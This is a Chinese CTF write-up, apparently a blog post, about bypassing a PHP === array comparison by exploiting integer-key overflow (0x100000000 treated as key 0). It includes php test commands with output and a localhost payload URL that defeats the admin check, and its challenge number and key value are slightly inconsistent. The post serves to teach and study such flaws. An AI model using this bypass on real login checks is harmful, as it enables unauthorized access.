Challenge_20

image.png
我们直接看后面 if 中的判断逻辑:

  • $_GET[‘user’] 是一个全局的变量,我们传的是字符串,它就是字符串,传的是数组,那么它的值就是数组
  • $user 是一个数组, [0 => ‘admin’, 1 => ‘xxoo’]
  • === 三个等号的意思就是类型是同一类型,并且值也是相同的
  • $_GET[‘user’][0] 的值不能等于 ‘admin’

也就是说,如果要使这个 if 条件成立,就必须让两个键值不相等的数组经过 === 比较后返回 true。
4.然后我们测试:

php -r "var_dump([1=>0]==[1=>0]);" 
bool(true) 
php -r "var_dump([1=>0]===[1=>0]);"
bool(true) ➜ 
php -r "var_dump([1=>0]==[2=>0]);"
bool(false) 
php -r "var_dump([1=>0]===[2=>0]);"
bool(false)

然后我们再来看我们这个漏洞:

php -r "var_dump([0 => 0] === [0x100000000 => 0]);" 
bool(true)

键名为 0 的数组与键名为 0x100000000 的数组居然相等了!
也就是说:

$user : [0 =>'admin', 1=>'xxoo']; 
$_GET['user']: [0x100000000 =>'admin', 1=>'xxoo']

这样就能使题目当中的条件成立。

http://localhost:23130/challenge19.php?user[429496729600000000]=admin&user[1]=xxoo

image.png

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值